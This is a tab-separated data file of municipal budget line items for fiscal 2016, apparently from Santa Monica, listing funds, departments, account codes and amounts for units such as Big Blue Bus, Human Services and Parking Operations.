18950	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407390.0	GYM RENTALS	618.0	Rentals	2016	-42000	0	0	0	0	0	0	0	0	0	0	0	-42000
18951	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PRINTING - GENERAL		 Supplies and Expenses	2016	500	0	0	0	0	0	0	0	0	0	0	0	500
18952	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533150.0	FIRE ALARM SERVICE	806.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18953	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522830.0	FUEL AND OIL TAXES-REV EQUIP		 Supplies and Expenses	2016	261375	0	0	0	0	0	0	0	0	0	0	0	261375
18954	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511970.0	OTHER FRINGE BENEFITS	806.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18955	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511490.0	OVERTIME	810.0	Salaries and Wages	2016	7970	0	0	0	0	0	0	0	0	0	0	0	7970
18956	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	154245	0	0	0	0	0	0	0	0	0	0	0	154245
18957	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	507942	0	0	0	0	0	0	0	0	0	0	0	507942
18958	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	273441	0	0	0	0	0	0	0	0	0	0	0	273441
18959	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	589402	0	0	0	0	0	0	0	0	0	0	0	589402
18960	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511490.0	OVERTIME	810.0	Salaries and Wages	2016	4981	0	0	0	0	0	0	0	0	0	0	0	4981
18961	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2016	5640	0	0	0	0	0	0	0	0	0	0	0	5640
18962	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2016	27041	0	0	0	0	0	0	0	0	0	0	0	27041
18963	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	810.0	 Supplies and Expenses	2016	38848	0	0	0	0	0	0	0	0	0	0	0	38848
18964	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2016	2917	0	0	0	0	0	0	0	0	0	0	0	2917
18965	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401200.0	FIELD PERMITS	618.0	Rentals	2016	-242400	0	0	0	0	0	0	0	0	0	0	0	-242400
18966	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400771.0	OUTDOOR DINING REVENUE	618.0	Rentals	2016	-669117	0	0	0	0	0	0	0	0	0	0	0	-669117
18967	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	400950.0	MOUNTAIN VIEW LEASE REVENUE	618.0	Rentals	2016	-426000	0	0	0	0	0	0	0	0	0	0	0	-426000
18968	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	407160.0	STORMWATER IN-LIEU FEES	662.0	Other	2016	-200000	0	0	0	0	0	0	0	0	0	0	0	-200000
18969	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	1601	0	0	0	0	0	0	0	0	0	0	0	1601
18970	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2016	5100	0	0	0	0	0	0	0	0	0	0	0	5100
18971	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
18972	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544111.0	PROMOTIONAL ITEMS		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18973	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522545.0	AD SALES (BBB)		 Supplies and Expenses	2016	179724	0	0	0	0	0	0	0	0	0	0	0	179724
18974	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2016	133989	0	0	0	0	0	0	0	0	0	0	0	133989
18975	BA	IS	4	Special Revenue Source Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404400.0	AFFORD HSING PROD PRGM DEVELOP	622.0	Other	2016	-892000	0	0	0	0	0	0	0	0	0	0	0	-892000
18976	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	555014.0	OUTSIDE REPAIRS - EQUIPMENT		 Supplies and Expenses	2016	2500	0	0	0	0	0	0	0	0	0	0	0	2500
18977	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511490.0	OVERTIME		Salaries and Wages	2016	7552	0	0	0	0	0	0	0	0	0	0	0	7552
18978	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2016	45819	0	0	0	0	0	0	0	0	0	0	0	45819
18979	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	555014.0	OUTSIDE REPAIRS - OFFICE EQUIP		 Supplies and Expenses	2016	6150	0	0	0	0	0	0	0	0	0	0	0	6150
18980	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544111.0	PROMOTIONAL ITEMS		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18981	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	577066.0	DELIVERY CHARGES		 Supplies and Expenses	2016	375	0	0	0	0	0	0	0	0	0	0	0	375
18982	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544113.0	ONBOARD MATERIALS		 Supplies and Expenses	2016	41000	0	0	0	0	0	0	0	0	0	0	0	41000
18983	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544119.0	PUBLIC RELATIONS SVC.		 Supplies and Expenses	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
18984	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	816.0	 Supplies and Expenses	2016	24608	0	0	0	0	0	0	0	0	0	0	0	24608
18985	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404090.0	LEASE RENTAL REVENUE	662.0	Other	2016	-1776019	0	0	0	0	0	0	0	0	0	0	0	-1776019
18986	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	566910.0	MAINTENANCE-PARKING FACILITIES	804.0	 Supplies and Expenses	2016	149940	0	0	0	0	0	0	0	0	0	0	0	149940
18987	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2016	956818	0	0	0	0	0	0	0	0	0	0	0	956818
18988	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578080.0	TRANSIT MALL MAINTENANCE		 Supplies and Expenses	2016	-103310	0	0	0	0	0	0	0	0	0	0	0	-103310
18989	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2016	30546	0	0	0	0	0	0	0	0	0	0	0	30546
18990	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2016	1234	0	0	0	0	0	0	0	0	0	0	0	1234
18991	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	588060.0	MOTOR VEHICLES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18992	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401311.0	CONTRACT CLASSES	612.0	Charges for Service	2016	-1110000	0	0	0	0	0	0	0	0	0	0	0	-1110000
18993	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522180.0	BANK FEES		 Supplies and Expenses	2016	6000	0	0	0	0	0	0	0	0	0	0	0	6000
18994	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18995	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401270.0	LEASED BEACH CONCESSIONS	612.0	Charges for Service	2016	-681441	0	0	0	0	0	0	0	0	0	0	0	-681441
18996	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577890.0	MWD RECYCLED WATER REBATE		 Supplies and Expenses	2016	-11045	0	0	0	0	0	0	0	0	0	0	0	-11045
18997	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577890.0	MWD RECYCLED WATER REBATE		 Supplies and Expenses	2016	11045	0	0	0	0	0	0	0	0	0	0	0	11045
18998	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570130.0	GF/SPEC FD REIM. AHPP DEV FEE	910.0	 Supplies and Expenses	2016	61713	0	0	0	0	0	0	0	0	0	0	0	61713
18999	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402000.0	PASSENGER REVENUE	650.0	Charges for Service	2016	-15601360	0	0	0	0	0	0	0	0	0	0	0	-15601360
19000	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407020.0	PROP C TRANSIT SECURITY	658.0	Sales Tax	2016	-1098619	0	0	0	0	0	0	0	0	0	0	0	-1098619
19001	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407030.0	PROP C FOOTHILL MITIGATION	658.0	Sales Tax	2016	-566352	0	0	0	0	0	0	0	0	0	0	0	-566352
19002	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2016	218	0	0	0	0	0	0	0	0	0	0	0	218
19003	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407410.0	CONSTRUCTION & DEMOLITION	650.0	Charges for Service	2016	-620000	0	0	0	0	0	0	0	0	0	0	0	-620000
19004	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	577140.0	DISABILITY ACCOMODATIONS	804.0	 Supplies and Expenses	2016	300	0	0	0	0	0	0	0	0	0	0	0	300
19005	BA	IS	30	Pier Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578530.0	TRANSFER FROM GENERAL FUND	908.0	 Supplies and Expenses	2016	-515812	0	0	0	0	0	0	0	0	0	0	0	-515812
19006	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	407550.0	FIRE COMMERCIAL INSPECT FEES	612.0	Charges for Service	2016	-600916	0	0	0	0	0	0	0	0	0	0	0	-600916
19007	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511490.0	OVERTIME	810.0	Salaries and Wages	2016	6203	0	0	0	0	0	0	0	0	0	0	0	6203
19008	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	60236	0	0	0	0	0	0	0	0	0	0	0	60236
19009	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		UNEMPLOYMENT	806.0	Salaries and Wages	2016	8521	0	0	0	0	0	0	0	0	0	0	0	8521
19010	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	401020.0	ELECTION-SMUSD/SMCCD/RC	610.0	Intergovernmental	2016	-190000	0	0	0	0	0	0	0	0	0	0	0	-190000
19011	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2016	13818	0	0	0	0	0	0	0	0	0	0	0	13818
19012	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	20767	0	0	0	0	0	0	0	0	0	0	0	20767
19013	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19014	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2016	1142	0	0	0	0	0	0	0	0	0	0	0	1142
19015	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2016	-200000	0	0	0	0	0	0	0	0	0	0	0	-200000
19016	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401260.0	BEACH PARKING	612.0	Charges for Service	2016	-10200000	0	0	0	0	0	0	0	0	0	0	0	-10200000
19017	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2016	124	0	0	0	0	0	0	0	0	0	0	0	124
19018	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	568497	0	0	0	0	0	0	0	0	0	0	0	568497
19019	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2016	1113	0	0	0	0	0	0	0	0	0	0	0	1113
19020	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2016	37740	0	0	0	0	0	0	0	0	0	0	0	37740
19021	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2016	992237	0	0	0	0	0	0	0	0	0	0	0	992237
19022	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555180.0	PHOTOGRAPHIC EXPENSE	810.0	 Supplies and Expenses	2016	208	0	0	0	0	0	0	0	0	0	0	0	208
19023	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	555210.0	TRAINING		 Supplies and Expenses	2016	2043	0	0	0	0	0	0	0	0	0	0	0	2043
19024	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	577090.0	REIMBURSE WATER FUND		 Supplies and Expenses	2016	409126	0	0	0	0	0	0	0	0	0	0	0	409126
19025	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2016	10358	0	0	0	0	0	0	0	0	0	0	0	10358
19026	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	400430.0	LIBRARY FEES	612.0	Charges for Service	2016	-3500	0	0	0	0	0	0	0	0	0	0	0	-3500
19027	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	402730.0	SMURRF-CITY OF LA-O & M	650.0	Charges for Service	2016	-74400	0	0	0	0	0	0	0	0	0	0	0	-74400
19028	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2016	300000	0	0	0	0	0	0	0	0	0	0	0	300000
19029	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2016	4417	0	0	0	0	0	0	0	0	0	0	0	4417
19030	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533640.0	CONF / MTGS / TRAVEL-TW	804.0	 Supplies and Expenses	2016	3089	0	0	0	0	0	0	0	0	0	0	0	3089
19031	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2016	6490	0	0	0	0	0	0	0	0	0	0	0	6490
19032	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2016	29232	0	0	0	0	0	0	0	0	0	0	0	29232
19033	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2016	9885	0	0	0	0	0	0	0	0	0	0	0	9885
19034	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19035	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407630.0	CONSTRUCTION & DEMO PERMIT FEE	650.0	Charges for Service	2016	-316100	0	0	0	0	0	0	0	0	0	0	0	-316100
19036	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19037	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2016	414158	0	0	0	0	0	0	0	0	0	0	0	414158
19038	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577080.0	TMP FEES REIMBURSEMENT	908.0	 Supplies and Expenses	2016	-653497	0	0	0	0	0	0	0	0	0	0	0	-653497
19039	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404820.0	PROP A SALES TAX	658.0	Sales Tax	2016	-12469292	0	0	0	0	0	0	0	0	0	0	0	-12469292
19040	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522620.0	RENT	808.0	 Supplies and Expenses	2016	255776	0	0	0	0	0	0	0	0	0	0	0	255776
19041	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	577066.0	DELIVERY CHARGES		 Supplies and Expenses	2016	1500	0	0	0	0	0	0	0	0	0	0	0	1500
19042	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		PRINTING - GENERAL		 Supplies and Expenses	2016	145047	0	0	0	0	0	0	0	0	0	0	0	145047
19043	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		PRINTING - GENERAL		 Supplies and Expenses	2016	7650	0	0	0	0	0	0	0	0	0	0	0	7650
19044	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400360.0	SMARS SOCIAL PROGRAM	612.0	Charges for Service	2016	-3500	0	0	0	0	0	0	0	0	0	0	0	-3500
19045	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400420.0	SKATE PARK	612.0	Charges for Service	2016	-30200	0	0	0	0	0	0	0	0	0	0	0	-30200
19046	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511681.0	VACANCY SAVINGS	810.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19047	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544120.0	PERIODICALS	810.0	 Supplies and Expenses	2016	1538	0	0	0	0	0	0	0	0	0	0	0	1538
19048	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544390.0	OTHER COSTS	810.0	 Supplies and Expenses	2016	5272	0	0	0	0	0	0	0	0	0	0	0	5272
19049	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407501.0	CAPITAL GRANTS-MISC PROJ-TDA	657.0	Capital Grants	2016	-7417443	0	0	0	0	0	0	0	0	0	0	0	-7417443
19050	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407516.0	FED CAPITAL GR-REV EQUIP	657.0	Capital Grants	2016	-6892783	0	0	0	0	0	0	0	0	0	0	0	-6892783
19051	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522961.0	FUEL-SERVICE VEHICLES		 Supplies and Expenses	2016	104550	0	0	0	0	0	0	0	0	0	0	0	104550
19052	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400790.0	OUTDOOR DINING-TRANSIT MALL AR	618.0	Rentals	2016	-93851	0	0	0	0	0	0	0	0	0	0	0	-93851
19053	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	696712	0	0	0	0	0	0	0	0	0	0	0	696712
19054	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2016	59259	0	0	0	0	0	0	0	0	0	0	0	59259
19055	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2016	23556	0	0	0	0	0	0	0	0	0	0	0	23556
19056	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2016	15000	0	0	0	0	0	0	0	0	0	0	0	15000
19057	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2016	103	0	0	0	0	0	0	0	0	0	0	0	103
19058	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2016	164	0	0	0	0	0	0	0	0	0	0	0	164
19059	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2016	11504	0	0	0	0	0	0	0	0	0	0	0	11504
19060	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2016	1059	0	0	0	0	0	0	0	0	0	0	0	1059
19061	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522110.0	UTIL - LIGHT / POWER	804.0	 Supplies and Expenses	2016	562106	0	0	0	0	0	0	0	0	0	0	0	562106
19062	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522620.0	RENT	804.0	 Supplies and Expenses	2016	71653	0	0	0	0	0	0	0	0	0	0	0	71653
19063	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
19064	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2016	75000	0	0	0	0	0	0	0	0	0	0	0	75000
19065	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	555010.0	CONTRACTUAL SERVICES	806.0	 Supplies and Expenses	2016	4993	0	0	0	0	0	0	0	0	0	0	0	4993
19066	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2016	7700	0	0	0	0	0	0	0	0	0	0	0	7700
19067	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522180.0	BANK FEES		 Supplies and Expenses	2016	28560	0	0	0	0	0	0	0	0	0	0	0	28560
19068	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	555061.0	OUTSIDE AUDIT EXPENSES		 Supplies and Expenses	2016	32640	0	0	0	0	0	0	0	0	0	0	0	32640
19069	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2016	1175018	0	0	0	0	0	0	0	0	0	0	0	1175018
19070	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522315.0	MULTIMEDIA		 Supplies and Expenses	2016	12400	0	0	0	0	0	0	0	0	0	0	0	12400
19071	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522546.0	MEDIA BUYS		 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
19072	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2016	17936	0	0	0	0	0	0	0	0	0	0	0	17936
19073	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522545.0	AD SALES (BBB)		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19074	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522545.0	AD SALES (BBB)		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19075	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511681.0	VACANCY SAVINGS	812.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19076	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	810.0	 Supplies and Expenses	2016	35319	0	0	0	0	0	0	0	0	0	0	0	35319
19077	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2016	2154	0	0	0	0	0	0	0	0	0	0	0	2154
19078	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522950.0	CNG FUEL		 Supplies and Expenses	2016	866	0	0	0	0	0	0	0	0	0	0	0	866
